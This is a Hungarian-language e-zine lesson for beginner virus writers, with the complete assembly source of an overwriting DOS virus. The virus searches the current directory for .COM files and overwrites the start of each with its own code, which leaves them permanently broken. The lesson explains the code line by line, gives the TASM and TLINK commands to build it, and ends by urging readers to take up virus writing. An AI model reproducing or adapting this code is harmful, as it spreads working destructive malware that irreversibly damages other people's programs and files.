A legegyszerûbb és egyben semmire se való, de azért némi jószándékkal vírusnak nevezhetõ virusfajtát próbálom ebben a cikkben leírni és megtanítani nektek. A tervek szerint ez egy állandó rovat lesz az e-zine-ben, amely segítséget próbál nyújtani a kezdõ vírusíróknak.
Szóval ebben az cikkben a COM futtatható fájlokat fertõzõ, felülíró (overwriter) vírusokról lesz szó. A COM fájlokról röviden: Neve a Copy Of Memory ( a memória mása) rövidítésbõl ered. Mint a neve is mutatja a fájlban ugyanúgy áll minden, ahogy a memóriába való betöltõdés után fog álni. Egy COM file maximálissan egy memória szegmens nagyságú lehet, azaz 64k. Minden COM-nak fix a belépési pontja (entry-point), azaz a saját szegmensének 100h offsetén kezdõdik.
Feltételezem, hogy valami asm alapokkal már rendelkezel, mert az elengedhetetlen... Ha mégse rendelkeznél alap asm tudással, vagy a fent említett COM-oknál használt szavak nem világossak, akkor nézd át a Lucifer álltal írt ASM Tutoriál sorozatot, amit szintén megtalálsz az e-zine-ban.
Elõször is nézzük hogyan
dolgoznak az ilyen primitív vírusok:
Elõször van az eredti program és a vírus:
+----------------------------+
| Eredeti program
|
+----------------------------+
+----------------+
| Felülíró Virus |
+----------------+
Miután megtörtént a fertõzés,
így néz ki a fertõzött program:
+---------------+------------+
| Felülíró Virus|rogram |
+---------------+------------+
Tehát a vírus fogta magát,
és felülírta a program elejét a saját kódjával.
Az így fertõzött program NEM mûködõképes,
és a vírus eltávolítasa után se lesz az,
tehát MARADANDÓ károsodást okoz a fertõzött
programokban. Mostmár ismerjük magát a mûködési
elvet, most nézzük át pontról pontra, hogy mit kell
a vírusunknat tennie:
1. Keressen egy áldozatot
2. Nyissa meg
3. Írja hozzá felül saját kódjával az
áldozat program elejét
4. Zárja le a fájl
5. Keresse a következõt. Ha talált vissza a 2. ponthoz, ha
nem akkor tovább...
6. Kilépés
Nézzünk akkor egy ilyen vírus:
virus segment
assume
cs:virus, ds:virus
org 100h
Start: mov
ah,4Eh
mov
dx,offset file_mask
@Find: int 21h
@Open: jc @Exit
mov
ax,3D01h
mov
dx,9Eh
int
21h
xchg
bx,ax
@Write_body: mov ah,40h
mov
cx,offset end_of_virus - offset start
mov
dx,100h
int
21h
@Close: mov
ah,3Eh
int
21h
@FindNext: mov
ah,4Fh
jmp
@Find
@Exit: int 20h
file_mask db
'*.com',0
end_of_virus label
virus ends
end
start
Ugy nem is olyan bonyolult... De ha nem érted, ne igzulj, azért vagyok én, hogy elmagyarázzam. Most sorrol-sorra veszük az egészet:
virus segment
Ezzel beállítjuk a programunk
(azaz vírusunk) szegmensét, amelyben az vírus kódja
és adatai lenni fognak. Ebben az esetben a szegmensnek a `vírus`
nevet adtuk.
assume cs:virus, ds:virus
Mint már említettem a COM fájlok egy szemgensbe vannak csak. Az assume a code szegmenshez (cs-hez) és a data szegmenshez (ds-hez) is a virus szegmenscímét rendeli. Tehát ha a vírusunk például a 12af:0100 címre töltõdik be, akkor a betöltõdés utan a cs és a ds 12af lesz.
org 100h
Az org 100h azt mondja a fordítónak hogy a program a 100h címen kezdõdik (100h - 256), azaz közvetlenül a Program Segment Prefix (PSP) után, de errõl késõbb. A lényeg, hogy a program betöltõdése utan az Instruction Pointer (IP) 100h-ra mutat (mint minden COM fájlnál).
Start: mov ah,4Eh
A Start: az egy label (egy cimke), amire majd a továbbiakban lehet hivatkozni, például ugrásoknál. A mov az a move (mozgatás) szó rövidítése. Tehát ez a sor az ax azaz az akkumlátor regiszter felsõ byte-jába (ah) 4Eh értéket rak.... majd meglátod mire jó ez...
mov dx,offset file_mask
Ez a dx regiszterbe berakja a file_mask offszetét, azaz hogy hol található.
@Find: int 21h
Itt egy újabb label, majd egy int 21h. Az INT utasítás meghívja a beállított funkciót. Nem akarok most részletessen kitérni rá... Összesen 256 int van (int - interrupt - megszakítás), de ha a külömbözõ beállítasokat, regisztereket figyelembe veszed, több száz funkciót tudsz meghíni. Tulajdonképpen minden int-kor egy elõre elkészített kis rutint hívsz meg a beállított regiszterekkel. Ebben az esetben a 21h számú megszakítás 4Eh számú rutinját hívtuk meg. Ez a rutin megkeresi az aktuális könyvtárban lévõ ELSÕ fájlt, amelyikre ráillik a ds:dx-en lévõ fájl maszk ( a mi esetünkben *.COM).
@Open: jc @Exit
A következõ utasítás egy feltételes ugrás. A jc a Jump if Carry, azaz ugorj ha a Carry flag 1-es, azaz be van állítva. Az elõbb meghívott megszakítas 1-esre állítja a carry-t ha nem talált megfelelõ fájlt, nullára pedig ha talált. Szóval ha nem talált akkor ugrik az @Exit labelra.
mov
ax,3D01h
mov
dx,9Eh
int
21h
Ha minden igaz, akkor találtunk egy fájlt, amit meg kéne nyitni. Ezt a megint a 21h inten keresztül tehetjük. Elõször is az ah-ba 3Dh-t kell raknunk, ez jelenti ugyanis a megnyitást. Ezutan az al-be kell a hozzáférési módot megadni. Ebben az esetben ez 01h, ami azt jelenti, hogy csak írásra nyitjuk meg (00h - Csak olvasás, 02h - Írás/Olvasás). Mint tudjuk az ax az ah-ból (felsõ byte) es az al-bõl (alsó byte) áll, ezért a kettõt egybe is vonhatjuk. Ekkor ez így néz ki: mov ax,3D01h. A következõ hogy beállítjuk a dx-et. A dx-nek a megnyitandó fájl nevére kell mutatni. Szinte hallom hogy mondod: 'Mi a fene... nekem a 9Eh nem hasonít semmilyen fájlnévre...'. Hát nem is fájlnév, hanem a fájlnevét tartalamzó sztringre offszetét tartalmazza. A 9Eh a PSP-n belül mutat egy helyre, méghozzá a DTA-n belül a fájlnévre. A DTA a Disk Transfer Area-ból származik. A PSP mint mondottam a szegmens elején kezdõdik, azaz 0h-n. Ezen belül a DTA 80h-n. A DTA tartalmazza annak a fájlnak az információit, amelyet az elõbb találtunk. Ami nekünk kell, az a fájl neve, ami a DTA kezdetétõl 1Eh-ra van, tehát a kettõ együtt 9Eh. Mostmár végrehajthatjuk az int-et.
xchg
bx,ax
@Write_body: mov ah,40h
mov
cx,offset end_of_virus - offsetr start
mov
dx,100h
int
21h
A következõ dolog, hogy hozzáírjuk a vírusunkat az áldozathoz. Ezt is az 21h-s inten keresztül tesszük, méghozzá a 40h al-rutinjával (mov ah,40h). Az elõzõ int a megnyitott fájl handle-jét (magyar szót nem találtam rá... esetleg kezelõ...) az ax-ben adja vissza, viszont nekünk az írásnál (és a legtöbb többi fájlkezelõ rutinnál) a bx-be kell raknunk. Mondhatnád mi sem egyszerûbb mov bx,ax.... Igen ám, de nekünk minden bájt számít, ezért próbáljuk egy kicsit optimizálni. Ezert a xchg-el (exchange - felcserélés) felcseréljuk az ax és a bx tartalmát. A cx-be kell hogy legyen, hogy hány byte-ot szeretnénk írni. Ezt univerzálisra célszerû megírni. A mi esetünkben a két label külömségét fogja a fordító belefordítani értékként a programba. A start az a vírus legelején van, az end_of_virus pedig a végén. A kettõ külömbsége megadja magát a vírus hosszát. A dx-be (pontosabban a ds:dx-be, de COM-nál nem kell a ds-el törõdnöd, mivel az megegyezik a cs-el) jön, hogy honnan írja a byteokat a fájlba. Ez 100h, mert a COM-ok 100h címen kezdõdnek... Majd meghívjuk a rutint...
@Close: mov
ah,3Eh
int
21h
Majd végezetül le kell zárnunk a megnyitott fájlt... és találjátok ki melyik megszakítással... hát persze, a 21h-ssal. A 3Eh az a bezárást jelenti, a fájl handle a bx-be kell, de azt már az elõbb bele raktuk, úgyhogy ezek után csak meg kell hívni az int-et.
@FindNext: mov
ah,4Fh
A 4Fh rutin a 'Keresd a következõt' rutint jelöli.
jmp @Find
Majd visszaugrunk a @Find-ra, ahol a jól megszokott int 21h vár.
@Exit: int 20h
A 20h megszakítás akármilyen paraméterrel lehet hívni, és a programból való kilépést idézi elõ.
file_mask db
'*.com',0
Ez az adat része a vírusnak... Igaz még csak egy adat van. Elõször egy file_mask nevû adatot definálunk, amely byte-okból áll (db... ha word-okból állna, akkor dw-t használtunk volna), majd megadjuk az értékét. Ha ha egybe szeretnénk megadni az adatot egy sztring ként akkor azt egyes illetve sima idézõjelbe kell raknunk, mint itt a *.com ahogy van. Ha külön byteonként akarjuk megadni, akkor a byte-okat vesszõvel választhatjuk el. Ezt a két módszert szabadon keverhetjük, mint a mi példánkban is, mivel a keresõ rutin (amelyik használja ezt az adatot) onnan tudja hogy a sztring végére ért, hogy ott egy 0-as byte van.
end_of_virus label
Ez egy simma label, amelynek az end_of_virus nevet adtam. Ez a vírus hosszának számításánál kell.
virus ends
A virus szegmens vége (ends - end of segment).
end start
Az end pedig azt mondja hogy ez ítt a vége a programnak a start meg azért kell, hogy a fordító tudja, hogy hol a program eleje.. Ennek akkor van nagyobb jelentõsége ha több szegmensel dolgozol.... De egyenlõre elégedj meg annyival hogy ez kell és kész.
Ezzel befejeztük az elemzését.
Annyit említenék még meg, hogy hogyan lehet kommentezni
a forrás fájlokat. A pontosvesszõ (;) után írhatsz
akár mit az kommentnek számít, a fordító
figyelembe se veszi. Az egész sor lehet komment, pl így:
; Ez itt egy egysoros megjegyzés
De lehet az utasítások utan is rakni megjegyzéseket. Pl.:
xor cx,cx ; A cx értékét nullázza.
Ezzel befejeztük az elsõ leckét.
A vírust a következõ módon fordíthatod le:
tasm virus.asm
Ekkor valami ilyet kellene hogy kapjál:
Turbo Assembler Version 3.2 Copyright (c) 1988, 1992 Borland International
Assembling file: virus.asm
Error messages: None
Warning messages: None
Passes: 1
Remaining memory: 357k
Lényeg, hogy a nincs semmilyen hiba (error
messages: none). Ezután ebben a könyvtárban meg kellet hogy
jelenjen egy virus.obj nevû fájl, amit a tasm csinált.
tlink /t virus.obj
Ezután ha minden rendbe ment, kell hogy egy virus.com fájlt találj
ebben a könyvtárban. Ez már maga a vírus. Bemásolod
egy könyvtárba, mellé még egy pár com-ot, elindítod,
majd megpróbálhatod elindítani a többi com-ot is,
de azok nem csinálnak semmit, mert mind a virus tartalmazza. Nem kell
megijedni, a vírus csak a saját könyvtárában
képes fertõzni.
Remélem tetszet ez a lecke és meghozta a kedveteket a vírusíráshoz. Tudom ez elég primcsi víruska volt, de mindent az alapoktól kell kezdeni, vagy nem? Várom kérdéseidet, sikerélményeidet, problémádat a Formater@ThePentagon.com címen...
Formater [FCF]